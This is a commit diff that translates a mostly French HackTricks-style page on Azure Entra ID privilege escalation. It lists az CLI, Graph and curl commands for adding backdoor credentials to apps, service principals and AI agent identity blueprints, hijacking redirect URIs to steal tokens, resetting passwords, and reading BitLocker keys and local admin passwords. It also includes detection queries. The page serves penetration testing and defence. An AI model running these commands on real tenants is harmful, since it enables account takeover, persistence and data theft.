Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-05 09:28:04 +00:00
parent e6b203d12f
commit c3f08862d5
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
> Note that **all the granular permissions** built-in roles have in Entra ID **are not eligible to be used in custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner plus de permissions aux rôles. Les deux actions pourraient être abusées pour escalader les privilèges.
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
- Assign role to a user:
```bash
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Cela permet à un attaquant d**ajouter des credentials** (passwords ou certificates) à des applications existantes. Si lapplication a des permissions privilégiées, lattaquant peut sauthentifier en tant que cette application et obtenir ces privilèges.
Cela permet à un attaquant d**ajouter des credentials** (mots de passe ou certificats) à des applications existantes. Si lapplication a des permissions privilégiées, lattaquant peut sauthentifier en tant que cette application et obtenir ces privilèges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à annuaire unique.
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications à répertoire unique.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
En sajoutant comme owner, un attaquant peut manipuler lapplication, y compris les credentials et permissions.
En s'ajoutant comme owner, un attaquant peut manipuler l'application, y compris les credentials et les permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent le nouveau redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification sera automatique sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Un attaquant peut ajouter un redirect URI aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent la nouvelle redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Notez qu'il est également possible de modifier les permissions demandées par l'application afin d'obtenir plus de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau l'invite demandant toutes les permissions.
Notez qu'il est aussi possible de modifier les permissions demandées par l'application afin d'obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,11 +88,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** qui leur sont assignées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un user se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications hautement privilégiées dans chaque tenant Entra ID**.
**Comme expliqué dans [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut qui ont des **API permissions** de type **`Application`** attribuées. Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'app), et sans avoir besoin de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications à privilèges élevés dans chaque tenant Entra ID**.
Ensuite, si un attaquant dispose d'un quelconque permission/role qui lui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
Ensuite, si un attacker dispose de n'importe quelle permission/rôle qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant qu'application**, obtenant ainsi toutes les permissions que l'application possède.
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, cependant quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est désormais plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **custom applications avec de hauts privilèges qui pourraient être abusées**.
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut courantes, mais quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est maintenant plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications custom avec de hauts privilèges qui pourraient être abusées**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trouver toutes les autorisations API des applications et marquer les API appartenant à Microsoft</summary>
<summary>Find all applications API permissions and mark Microsoft-owned APIs</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,27 +241,102 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attaquant peut assumer ces privilèges.
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal a des privilèges élevés, l'attacker peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir la persistence sur un service principal.\
> Le nouveau mot de passe généré n'apparaîtra pas dans la web console, donc cela peut être un moyen furtif de maintenir une persistence sur un service principal.\
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'il **n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui permet d'exécuter :
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et qu'il faut d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Abus d'identifiants du blueprint Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
Les **agent identity blueprints** sont des objets application et chaque blueprint crée également un **agent identity blueprint principal** dans le tenant. Les **agent identities** sont des enfants dérivés du service principal de ce chemin de blueprint. Par conséquent, si un attaquant peut **ajouter un mot de passe/certificat au blueprint** ou a déjà volé lun de ses identifiants, il peut ensuite sauthentifier en tant que **blueprint principal** et demander des tokens pour les agent identities enfants.
Cela transforme une mauvaise attribution de rôle Entra Agent ID en :
- **Persistence** : le nouveau `passwordCredential` reste sur le blueprint jusqu’à sa suppression
- **Privilege escalation** : un agent low-trust/dev peut passer vers un autre blueprint high-trust puis agir en tant que ses agent identities enfants
Les chemins dangereux typiques sont :
- Un agent identity compromis avec **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Un owner/sponsor/admin compromis capable de gérer le blueprint
- Le vol dun secret/certificat de blueprint existant
Ajouter un nouveau secret au blueprint cible :
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```
Ou avec Microsoft Graph PowerShell :
```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Si la nouvelle credential est acceptée, authentifiez-vous en tant que **blueprint principal** et abusez de lAgent ID token exchange. La première requête utilise la blueprint credential et définit **`fmi_path`** sur lidentité de lagent cible. Le token retourné est ensuite réutilisé comme **JWT bearer `client_assertion`** pour obtenir un Microsoft Graph token pour cette identité dagent.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
--data-urlencode 'client_secret=<new-blueprint-secret>' \
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
```
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=<token-from-previous-step>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Si un blueprint **dev** ou son agent enfant peut ajouter des credentials à un blueprint **prod**, lattaquant franchit la frontière de confiance attendue entre blueprint/agent et obtient un accès durable à linfrastructure de lagent cible.
Quick validation / scoping:
```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
$sp.AdditionalProperties['@odata.type']
$sp.AdditionalProperties['agentIdentityBlueprintId']
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Notes de chasse :
- Recherchez **`Update application Certificates and secrets management`** dans [Az - Monitoring](../../az-services/az-monitoring.md)
- Corrélez **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, et **`AADServicePrincipalSignInLogs`** en utilisant le temps, lID du service principal, le user-agent, lIP, et `SignInActivityId` / `UniqueTokenIdentifier`
- Dans `MicrosoftGraphActivityLogs`, vérifiez `RequestUri` se terminant par **`/applications/<id>/microsoft.graph.addPassword`** et si `Roles` contient **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Dans `AADServicePrincipalSignInLogs`, examinez `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, et si la nouvelle clé a ensuite été utilisée
KQL minimal pour voir si le nouveau secret ajouté sest authentifié :
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Ceci est lié à l[abuse de credential dapplication](../../az-services/az-azuread.md#applications) générique et à la [persistance de credential de service principal](../../az-persistence/README.md#applications-and-service-principals), mais Entra Agent ID ajoute une deuxième étape où le blueprint credential peut être échangé contre un **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Cela permet à un attaquant dajouter des credentials aux service principals existants. Si le service principal dispose de privilèges élevés, lattaquant peut assumer ces privilèges.
Cela permet à un attaquant dajouter des credentials aux service principals existants. Si le service principal a des privilèges élevés, lattaquant peut hériter de ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Comme pour les applications, cette permission permet d'ajouter davantage de owners à un service principal. Posséder un service principal permet de contrôler ses credentials et ses permissions.
Comme pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet d'en contrôler les credentials et les permissions.
```bash
# Add new owner
spId="<spId>"
@@ -279,11 +354,11 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Après avoir ajouté un nouvel owner, jai essayé de le supprimer mais lAPI a répondu que la méthode DELETE n’était pas prise en charge, même si cest la méthode quil faut utiliser pour supprimer lowner. Donc, vous **ne pouvez plus supprimer downers actuellement**.
> Après avoir ajouté un nouvel owner, jai essayé de le supprimer, mais lAPI a répondu que la méthode DELETE n’était pas prise en charge, même si cest la méthode quil faut utiliser pour supprimer lowner. Donc, vous **ne pouvez pas supprimer les owners actuellement**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
Ces permissions permettent de désactiver et dactiver des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il pourrait obtenir accès dune manière ou dune autre afin descalader ses privilèges.
Ces permissions permettent de désactiver et dactiver des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il pourrait accéder dune manière ou dune autre afin descalader ses privilèges.
Notez que pour cette technique, lattaquant aura besoin de plus de permissions afin de prendre le contrôle du service principal activé.
```bash
@@ -295,7 +370,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ces permissions permettent de créer et dobtenir des credentials pour le single sign-on, ce qui pourrait permettre laccès à des applications tierces.
Ces permissions permettent de créer et dobtenir des credentials pour le single sign-on, ce qui pourrait permettre daccéder à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -321,20 +396,20 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui mène à une privilege escalation.
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui conduit à une élévation de privilèges.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: Cette permission exclut les groupes assignables à un rôle Entra ID.
**Note** : Cette permission exclut les groupes assignables de rôle Entra ID.
### `microsoft.directory/groups/owners/update`
Cette permission permet de devenir propriétaire de groupes. Un propriétaire dun groupe peut contrôler lappartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
Cette permission permet de devenir propriétaire de groupes. Un propriétaire d'un groupe peut contrôler l'appartenance au groupe et les paramètres, ce qui peut potentiellement permettre une escalation de privilèges vers le groupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: Cette permission exclut les groupes assignables de rôle Entra ID.
**Note** : Cette permission exclut les groupes assignables aux rôles Entra ID.
### `microsoft.directory/groups/members/update`
@@ -344,7 +419,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Cette permission permet de mettre à jour la règle d'appartenance dans un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,11 +430,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note**: Cette permission exclut les groupes attribuables à un rôle Entra ID.
**Note**: Cette permission exclut les groupes assignables à des rôles Entra ID.
### Dynamic Groups Privesc
Il pourrait être possible pour des utilisateurs descalader les privilèges en modifiant leurs propres propriétés pour être ajoutés comme membres de groupes dynamiques. Pour plus dinfos, voir :
Il peut être possible pour des utilisateurs descalader leurs privilèges en modifiant leurs propres propriétés afin dêtre ajoutés en tant que membres de groupes dynamiques. Pour plus dinfos, consultez :
{{#ref}}
dynamic-groups.md
@@ -369,7 +444,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, permettant à un attaquant potentiel descalader les privilèges vers dautres utilisateurs. Cette permission ne peut pas être attribuée à des custom roles.
Cette permission permet de réinitialiser le mot de passe des utilisateurs non-admin, ce qui permet à un attaquant potentiel descalader ses privilèges vers dautres utilisateurs. Cette permission ne peut pas être attribuée à des rôles personnalisés.
```bash
# Update user password
userId="<user-id>"
@@ -389,7 +464,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés, donc cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour être membre d'un dynamic group spécifique et escalader les privilèges.
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des dynamic groups qui ajoutent des utilisateurs en fonction des valeurs de propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété nécessaire pour devenir membre d'un dynamic group spécifique et escalader les privilèges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -405,9 +480,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Conditional Access Policies & MFA bypass
## Politiques d'accès conditionnel et contournement de MFA
Des politiques d'accès conditionnel mal configurées nécessitant MFA pourraient être contournées, voir :
Des politiques d'accès conditionnel mal configurées nécessitant MFA peuvent être contournées, vérifiez :
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -417,7 +492,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Cette permission permet aux attaquants de s'attribuer eux-mêmes comme propriétaires de devices afin de prendre le contrôle ou d'accéder à des paramètres et données spécifiques au device.
Cette permission permet aux attaquants de s'assigner eux-mêmes comme owners de devices afin de prendre le contrôle ou d'accéder à des paramètres et des données spécifiques au device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -428,7 +503,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Cette permission permet aux attaquants dassocier leur compte à des devices afin dobtenir un accès ou de contourner des security policies.
Cette permission permet aux attaquants d'associer leur compte à des devices afin d'obtenir un accès ou de contourner des politiques de sécurité.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -439,7 +514,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Cette permission permet aux attackers de lire les propriétés des identifiants du compte administrateur local sauvegardé pour les devices Microsoft Entra joined, y compris le password
Cette permission permet aux attackers de lire les propriétés des credentials de compte administrateur local sauvegardés pour les devices Microsoft Entra joined, y compris le mot de passe
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -454,7 +529,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
Cette permission permet daccéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des lecteurs, compromettant la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \
@@ -475,4 +550,11 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
## Références
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
{{#include ../../../../banners/hacktricks-training.md}}